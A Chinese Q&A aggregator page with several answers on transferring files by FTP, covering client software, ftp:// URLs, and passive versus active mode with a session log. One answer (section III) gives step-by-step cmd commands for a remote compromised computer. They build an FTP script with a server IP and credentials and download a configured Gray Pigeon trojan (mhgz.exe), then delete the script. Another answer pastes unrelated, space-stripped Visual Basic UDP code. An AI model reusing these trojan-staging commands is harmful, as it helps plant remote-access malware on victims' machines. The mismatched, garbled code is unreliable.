當前位置:首頁 » 文件傳輸 » 利用FTP傳輸
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

利用FTP傳輸

發布時間: 2022-09-30 19:46:39

Ⅰ 如何使用FTP上傳文件

1、下載軟體FileZilla(用的比較多的一款),

Ⅱ 如何用ftp傳輸文件

2、知道用戶名和密碼
3、在ie地址欄中輸入ftp://ip地址(域名)@用戶名:密碼
也好像是ftp://用戶名:密碼@ip地址(域名)---我記不清了,你都試試。
4、如果登錄成功,就能看到ftp服務的文件目錄,和本地目錄差不多
5,將你本地的文件直接拖到遠端目錄即可。
還有專門的軟體:cutftp 可以上傳或下載。

Ⅲ 遠程計算機怎麼用FTP傳文件啊

在遠程計算機的cmd環境下,如果不能通過ipc$渠道傳送文件,那就只有通過ftp下載文件了。
假設我們已經有一個ftp伺服器,上面有一個我們配置好的灰鴿子木馬文件mhgz.exe,我們應該知道ftp伺服器的三個參數:
1、ftp伺服器的ip地址:如203.75.44.34
2、ftp伺服器的用戶名:如tty
3、ftp伺服器的密
碼:如tty123
在遠程計算機的cmd下依次輸入下面的命令:
1、echo
open
203.75.44.34>>tty.txt
登陸ftp伺服器
2、echo
tty>>tty.txt
用戶名
3、echo
tty123>>tty.txt
密碼
4、echo
bin>>tty.txt
開始
5、echo
get
mhgz.exe>>tty.txt
下載灰鴿子木馬
6、echo
bye>>tty.txt
關閉ftp伺服器
輸入上面命令後,在遠程計算機上就會生成一個tty.txt文件,內容為:
open
203.75.44.34
tty
tty123
bin
get
mhgz.exe
bye
現在我們在遠程計算機上執行下面的命令:
ftp
-s:tty.txt
意思是,讀取tty.txt里的參數,執行ftp命令,命令執行完後,灰鴿子木馬文件mhgz.exe就下載到對方計算機里了。
del
c:\tty.txt

Ⅳ 怎麼通過ftp傳送文本文件

不知道你的winsock是udp還是tcpip協議

這里給你一個我寫的實例我是用的udp這個發送了一段數據不一定接收就正確所以我做了校驗

'以下是接收文件的

OptionExplicit

DimFOKAsBoolean,FsAsLong,FileNumberAsInteger,LenFileAsLong '文件的長度

PrivateSubCommand1_Click()

UnloadMe

EndSub

PrivateSubCommand2_Click()

OnErrorResumeNext

DimAAsString

Me.Caption="開始下載"

IfDir(Text2.Text)<>""AndChV.Value=0Then

IfMsgBox("文件已經存在,覆蓋嗎?",vbCritical+vbYesNo)=vbYesThenKillText2.TextElseExitSub

Else

KillText2.Text

EndIf

IfText2.Text=""ThenText2.Text=Text1.Text

'Command2.Enabled=False

IfCh.Value=0ThenA="#DOW#"ElseA="#DOV#"

FMain.Wsk.SendDataA&Text1.Text

Wt1

FMain.Wsk.SendData"#DOE#"&Text2.Text

EndSub

PrivateSubForm_Load()

DimAAsString

'FMain.Ts.Enabled=True

OnErrorResumeNext

IfFMain.Cb.Text="本地組"OrFMain.Cb.Text="全部組"Then

Me.Caption="請重選下載用戶[「組」不能正確下載]"

Else

Command1.Top=-2000

Winsock0.LocalPort=FilePort

Winsock0.Bind

EndIf

EndSub

PrivateSubForm_Unload(CancelAsInteger)

OnErrorResumeNext

Winsock0.Close

Err.Clear

EndSub

PrivateSubLa_Click()

CDL.FileName=""

CDL.ShowOpen

Text2.Text=CDL.FileName

EndSub

PrivateSubWinsock0_DataArrival(ByValbytesTotalAsLong)

OnErrorResumeNext

DimFileByte()AsByte,AAsString,MendByte()AsByte,IAsLong,JAsLong,TempAsString,WAsString

Winsock0.GetDataFileByte,vbArray+vbByte'接收類型為:位元組數組

J=UBound(FileByte)'獲得包長

ForI=0To7Step2'合並包頭

Temp=Temp&Chr(FileByte(I))

Next

ForI=0To9'文件發送結束標記

A=A&Chr(FileByte(I))

Next

IfA="#ERR#"ThenWinsock0.SendData"no"

IfA="#END#"Then

ForI=0ToLen(FMain.TIn.Text)

IfI<100Then

W=Left(Right(FMain.TIn.Text,I),1)

IfW="!"Then

W=Left(Right(FMain.TIn.Text,I+4),5)

ExitFor

EndIf

Else

ExitFor

EndIf

NextI

IfW<>"下載完成!"Then

FOK=False

Me.Caption="下載完成!["&Text2.Text&"]"

FMain.TIn.Text=FMain.TIn.Text&"["&Now&"]"&"下載完成!("&Fs&"<="&LenFile&")"&vbCrLf

Command2.Enabled=True

EndIf

Else

IfVal(Temp)=JThen'比較長度看丟包沒有

ReDimMendByte(J-8)

ForI=0ToJ-8'提出包頭

MendByte(I)=FileByte(I+7)

Next

Fs=Fs+UBound(FileByte)-7

Put#FileNumber,,MendByte'寫文件

Winsock0.SendData"ok"'發送繼續發送的請求

Me.Caption="文件下載完成:["&Left(Fs/LenFile*100,4)&"%]"

Else

IfLeft(A,10)="#SENDSTA#"Then

A=""

ForI=10ToUBound(FileByte)'文件發送結束標記

A=A&Chr(FileByte(I))

Next

LenFile=Val(Left(A,InStr(A,"//")-1))

ForI=0ToLen(Text2.Text)

A=Left(Right(Text2.Text,I),1)

IfA=""ThenExitFor

Next

IfDir(Left(Text2.Text,Len(Text2.Text)-I+1),vbDirectory)=""ThenMkDirLeft(Text2.Text,Len(Text2.Text)-I+1)

'"#SENDSTA#"&FileLen(Text1.Text)&"//"&Text2.Text

FileNumber=FreeFile'取得未使用的文件號

Fs=0

OpenText2.TextForBinaryAs#FileNumber'打開文件

Else

IfA<>"#SENDEND#"Then

Winsock0.SendData"no"'出現丟包,請求重發

Else

Winsock0.SendData"#END#"'發送繼續發送的請求

Close#FileNumber

Reset

IfFOK=FalseThen

FOK=True

Me.Caption="下載完成!["&Text2.Text&"]"

FMain.TIn.Text=FMain.TIn.Text&"["&Now&"]"&"下載完成!("&Fs&"<="&LenFile&")"&vbCrLf

Command2.Enabled=True

Else

FOK=False

EndIf

EndIf

EndIf

EndIf

EndIf

EndSub

Ⅳ 使用網際網路的FTP功能,可以實現文件的上傳和下載

能。

ftp的主要功能是連接到FTP伺服器並操縱數據和數據的上傳下載以及備份,還有就是可以訪問物理遠程伺服器。

用戶將文件從FTP伺服器中拷貝並傳輸到終端機的過程就是下載(download)。上傳和下載過程是所能用到的再常見不過的操作過程。由於FTP伺服器承擔有文件存儲和傳播的重任,所以其與用戶的連接也有著三重限制。FTP伺服器在使用前必須要先登錄獲取遠程連接後,用戶才能接觸到所需文件。

(5)利用FTP傳輸擴展閱讀:

注意事項:

避免出現零位元組文件。在上傳時,不要隨意中途停止操作,最好不要中途下線。

上傳文件要附上說明的文本文件,說明文件名應與文件名稱相同,如文件名稱為note.zip,說明文件名就應為note.txt,以方便別人了解你的文件內容,來進行取捨。

因為FTP站是多用戶系統,因此對於同一個目錄或文件,不同的用戶擁有不同的許可權。如果不能上傳或下載某些文件,或者抓下來的文件是零位元組,一般是因為用戶的許可權不夠。

Ⅵ FTP文件傳輸原理

在遇到了一個wireshark數據包分析題之後,看到了ftp的相關信息,但是沒找到相關的flag信息,請教了大佬的解釋,才知道ftp文件傳輸並不是在21埠,ftp文件傳輸有主動和被動兩種方式,

被動(PASV)模式:

PASV(被動)方式的連接過程是:客戶端向伺服器的FTP埠(默認是21)發送連接請求,伺服器接受連接,建立一條控制連接。當需要傳送數據時,伺服器在命令鏈路上用PASV命令告訴客戶端:「我打開了XXXX埠,你過來連接我」。於是客戶端向伺服器的XXXX埠發送連接請求,建立一條數據鏈路來傳送數據。

伺服器控制埠(21),伺服器端等待的數據傳輸埠(動態申請)

ftp伺服器動態申請一個埠(一般大於1024)然後告訴客戶端,我在這個埠上等待你的連接,客戶端收到以後便向伺服器的這個埠發起連接,數據連接建立以後,數據傳輸就可以開始了

埠計算方法:172,16,101,104,7,254,256*7+254=2046

一次完整的被動連接及數據傳輸過程:

狀態: 正在連接 172.16.101.104:21...

狀態: 連接建立,等待歡迎消息...

響應: 220 Serv-U FTP Server v6.4 for WinSock ready...

命令: USER test

響應: 331 User name okay, need password.

命令: PASS ****

響應: 230 User logged in, proceed.

狀態: 已連接

狀態: 讀取目錄列表...

命令: PWD

響應: 257 "/" is current directory.

狀態: 列出目錄成功

狀態: 正在連接 172.16.101.104:21...

狀態: 連接建立,等待歡迎消息...

響應: 220 Serv-U FTP Server v6.4 for WinSock ready...

命令: USER test

響應: 331 User name okay, need password.

命令: PASS ****

響應: 230 User logged in, proceed.

狀態: 已連接

狀態: 開始上傳 E:\Downloads\liugong\liugong\404.htm

命令: CWD /

響應: 250 Directory changed to /

命令: TYPE A

響應: 200 Type set to A.

命令: PASV

響應: 227 Entering Passive Mode (172,16,101,104,8,86)

命令: STOR 404.htm

響應: 150 Opening ASCII mode data connection for 404.htm.

響應: 226 Transfer complete.

狀態: 文件傳輸成功,傳輸了 2,052 位元組 (用時1 秒)

狀態: 讀取目錄列表...

命令: TYPE I

響應: 200 Type set to I.

命令: PASV

響應: 227 Entering Passive Mode (172,16,101,104,8,88)

命令: MLSD

響應: 150 Opening BINARY mode data connection for MLSD.

響應: 226 Transfer complete.

狀態: 列出目錄成功

主動(PORT)模式:

PORT(主動)方式的連接過程是:客戶端向伺服器的FTP埠(默認是21)發送連接請求,伺服器接受連接,建立一條控制連接。當需要傳送數據時,客戶端在命令鏈路上用PORT命令告訴伺服器:「我打開了XXXX埠,你過來連接我」。於是伺服器從20埠向客戶端的XXXX埠發送連接請求,建立一條數據鏈路來傳送數據。

一次完整的主動連接及數據傳輸過程:

狀態: 正在連接 172.16.101.104:21...

狀態: 連接建立,等待歡迎消息...

響應: 220 Serv-U FTP Server v6.4 for WinSock ready...

命令: USER test

響應: 331 User name okay, need password.

命令: PASS ****

響應: 230 User logged in, proceed.

狀態: 已連接

狀態: 開始上傳 E:\Downloads\liugong\liugong\404.htm

命令: CWD /

響應: 250 Directory changed to /

命令: TYPE A

響應: 200 Type set to A.

命令: PORT 172,16,101,104,8,76

響應: 200 PORT Command successful.

命令: STOR 404.htm

響應: 150 Opening ASCII mode data connection for 404.htm.

響應: 226 Transfer complete.

狀態: 文件傳輸成功,傳輸了 2,052 位元組 (用時1 秒)

狀態: 讀取目錄列表...

命令: TYPE I

響應: 200 Type set to I.

命令: PORT 172,16,101,104,8,77

響應: 200 PORT Command successful.

命令: MLSD

響應: 150 Opening BINARY mode data connection for MLSD.

響應: 226 Transfer complete.

狀態: 列出目錄成功

再回來說這一題,看到

計算埠為 4*256+17=1041

埠過濾,追蹤tcp流

Ⅶ 怎麼用FTP傳輸文件

這個問題說大有點大了,
我說的簡單一點希望你滿意
1.下載一個FTP軟體,例如cuteFTP
,地址是:
http://www.onlinedown.net/soft/7249.htm

這是一個老牌的FTP軟體
2.安裝完畢後,打開,在地址欄中輸入你要傳輸文件的FTP地址,例如是
ftp://www.sina.com.cn
(我只是舉例)
有埠的填好埠,例如
ftp://www.sina.com.cn:80

或者在軟體中填好
然後會提示你填寫帳號密碼(如果無帳號密碼就不填)
伺服器正常的話就正常登陸了
登陸後界面跟你看電腦硬碟是一樣的了(打比方你打開D盤是什麼樣子,這個軟體里也會這樣,很簡單)
之後你復制
粘貼文件什麼的都可以做了(刪除文件
等操作,如果伺服器給你的帳號沒設置這個功能就不能用)
基本就這么簡單..
我的回答對你有幫助嗎

Ⅷ 如何在區域網內利用FTP進行文件傳輸

看你這個問題 應該是FTP伺服器已經完成了吧 ,在IE地址欄輸入FTP伺服器地址 只要有相應的許可權 就可以象在本地電腦上操作一 樣 可以對文件進行復制 移動刪除等

Ⅸ 如何使用FTP傳輸文件

讓它建立FTP伺服器,給你一個有上傳許可權的帳號就可以給他直接發送。
或者你自己建立一個FTP伺服器,給他一個帳號,他就可以從你電腦上
下東西。